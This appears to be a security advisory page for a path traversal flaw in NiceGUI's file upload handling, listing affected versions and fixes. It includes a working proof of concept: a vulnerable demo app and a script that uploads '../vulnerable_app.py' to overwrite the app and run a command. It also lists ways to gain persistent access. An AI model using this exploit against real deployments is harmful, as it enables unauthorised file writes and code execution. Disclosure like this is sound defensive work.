GHSA-9ffm-fxg3-xrhh

Source

https://github.com/advisories/GHSA-9ffm-fxg3-xrhh

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-9ffm-fxg3-xrhh/GHSA-9ffm-fxg3-xrhh.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-9ffm-fxg3-xrhh

Aliases

Published

2026-02-05T21:08:53Z

Modified

2026-06-06T15:00:08Z

Severity

7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N CVSS Calculator

Summary

NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write

Details

Summary

NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

Details

Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)

Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()

async def save(self, path: str | Path) -> None:
    target = Path(path)
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Root Cause: The save() method performs no validation on the provided path parameter. It accepts:

Relative paths with ../ sequences
Absolute paths
Any file system location writable by the process

When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:

save_path = UPLOAD_DIR / e.file.name  # e.file.name = "../app.py"
await e.file.save(save_path)           # Writes outside UPLOAD_DIR

PoC

Terminal 1 (App)

cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui

cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path

UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)

@ui.page('/')
def index():
    async def handle_upload(e):
        save_path = UPLOAD_DIR / e.file.name
        await e.file.save(save_path)
        ui.notify(f'File saved: {e.file.name}')
    
    ui.upload(on_upload=handle_upload, auto_upload=True)

ui.run(port=8080, reload=False)
EOF

python3 vulnerable_app.py &

Terminal 2 (Exploit)

cat > exploit.py << 'EOF'
import requests, re, time

s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)

html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'

payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
    ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''

s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF

python3 exploit.py

Restart the application to execute the injected code:

pkill -f vulnerable_app && python3 vulnerable_app.py

Observe http://localhost:8080

Impact

Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.

Attack Capabilities:

Write files to any location writable by the application process
Overwrite Python application files to achieve remote code execution upon restart
Overwrite configuration files to alter application behavior
Write SSH keys, systemd units, or cron jobs for persistent access
Deny service by corrupting critical files

Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.

Remediation

For Users

async def handle_upload(e):
    safe_name = Path(e.file.name).name # Strip directory components!
    await e.file.save(UPLOAD_DIR / safe_name)

For Maintainers

async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None:
    target = Path(path).resolve()
    
    if base_dir is not None:
        base_dir = base_dir.resolve()
        if not target.is_relative_to(base_dir):
            raise ValueError(
                f"Path '{target}' escapes base directory '{base_dir}'"
            )
    
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Database specific

{
    "cwe_ids": [
        "CWE-22",
        "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:08:53Z",
    "nvd_published_at": "2026-02-06T22:16:11Z",
    "severity": "HIGH"
}

References

Affected packages

PyPI / nicegui

Package

Name: nicegui; View open source insights on deps.dev
Purl: pkg:pypi/nicegui

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

3.7.0

Affected versions

0.*

0.1.0

0.1.4

0.1.6

0.2.0

0.2.1

0.2.2

0.2.3

0.2.4

0.2.9

0.2.10

0.2.11

0.2.12

0.2.13

0.2.14

0.2.15

0.3.0

0.3.1

0.3.2

0.3.3

0.3.4

0.3.5

0.3.6

0.3.7

0.3.8

0.3.9

0.4.0

0.4.1

0.4.2

0.4.3

0.4.4

0.4.5

0.4.6

0.4.7

0.4.8

0.4.9

0.4.10

0.4.11

0.4.12

0.4.13

0.4.14

0.4.15

0.5.0

0.5.1

0.5.2

0.5.3

0.5.4

0.5.5

0.5.6

0.5.7

0.5.8

0.5.9

0.5.10

0.5.11

0.5.12

0.6.0

0.6.1

0.6.2

0.6.3

0.6.4

0.6.5

0.6.6

0.6.7

0.6.8

0.6.9

0.6.10

0.6.11

0.6.12

0.6.13

0.7.0

0.7.1

0.7.2

0.7.3

0.7.4

0.7.6

0.7.7

0.7.8

0.7.9

0.7.10

0.7.11

0.7.12

0.7.13

0.7.14

0.7.15

0.7.16

0.7.17

0.7.18

0.7.19

0.7.21

0.7.22

0.7.23

0.7.24

0.7.25

0.7.26

0.7.27

0.7.28

0.7.29

0.7.30

0.8.0

0.8.1

0.8.2

0.8.3

0.8.4

0.8.5

0.8.6

0.8.7

0.8.8

0.8.9

0.8.10

0.8.11

0.8.12

0.8.13

0.8.14

0.8.15

0.8.16

0.9.0

0.9.1

0.9.2

0.9.3

0.9.4

0.9.5

0.9.6

0.9.7

0.9.8

0.9.9

0.9.10

0.9.11

0.9.12

0.9.13

0.9.14

0.9.15

0.9.16

0.9.17

0.9.18

0.9.19

0.9.20

0.9.21

0.9.22

0.9.23

0.9.24

0.9.25

0.9.26

0.9.27

0.9.28

1.*

1.0.1

1.0.2

1.0.3

1.0.4

1.0.5

1.0.6

1.0.7

1.0.8

1.0.9

1.0.10

1.1.0

1.1.1

1.1.2

1.1.3

1.1.4

1.1.5

1.1.6

1.1.7

1.1.8

1.1.9

1.1.10

1.1.11

1.2.0

1.2.1

1.2.2

1.2.3

1.2.4

1.2.5

1.2.6

1.2.7

1.2.8

1.2.9

1.2.10

1.2.11

1.2.12

1.2.13

1.2.14

1.2.15

1.2.16

1.2.17

1.2.18

1.2.20

1.2.21

1.2.22

1.2.23

1.2.24

1.3.0

1.3.1

1.3.2

1.3.3

1.3.4

1.3.5

1.3.6

1.3.7

1.3.8

1.3.9

1.3.10

1.3.11

1.3.12

1.3.13

1.3.14

1.3.15

1.3.16

1.3.17

1.3.18

1.4.0

1.4.1

1.4.2

1.4.3

1.4.4

1.4.5

1.4.6

1.4.7

1.4.8

1.4.9

1.4.10

1.4.11

1.4.12

1.4.13

1.4.14

1.4.15

1.4.16

1.4.17

1.4.18

1.4.19

1.4.20

1.4.21

1.4.22

1.4.23

1.4.24

1.4.25

1.4.26

1.4.27

1.4.28

1.4.29

1.4.30

1.4.31

1.4.33

1.4.34

1.4.35

1.4.36

1.4.37

2.*

2.0.0

2.0.1

2.1.0

2.2.0

2.3.0

2.4.0

2.5.0

2.7.0

2.8.0

2.8.1

2.9.0

2.9.1

2.10.0

2.10.1

2.11.0

2.11.1

2.12.0

2.12.1

2.13.0

2.14.0

2.14.1

2.15.0

2.16.0

2.16.1

2.17.0

2.18.0

2.19.0

2.20.0

2.21.0

2.21.1

2.22.0

2.22.1

2.22.2

2.23.0

2.23.1

2.23.2

2.23.3

2.24.0

2.24.1

2.24.2

3.*

3.0.0rc1

3.0.0

3.0.1

3.0.2

3.0.3

3.0.4

3.1.0

3.2.0

3.3.0

3.3.1

3.4.0

3.4.1

3.5.0

3.6.0

3.6.1

Database specific

last_known_affected_version_range

"<= 3.6.1"

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-9ffm-fxg3-xrhh/GHSA-9ffm-fxg3-xrhh.json"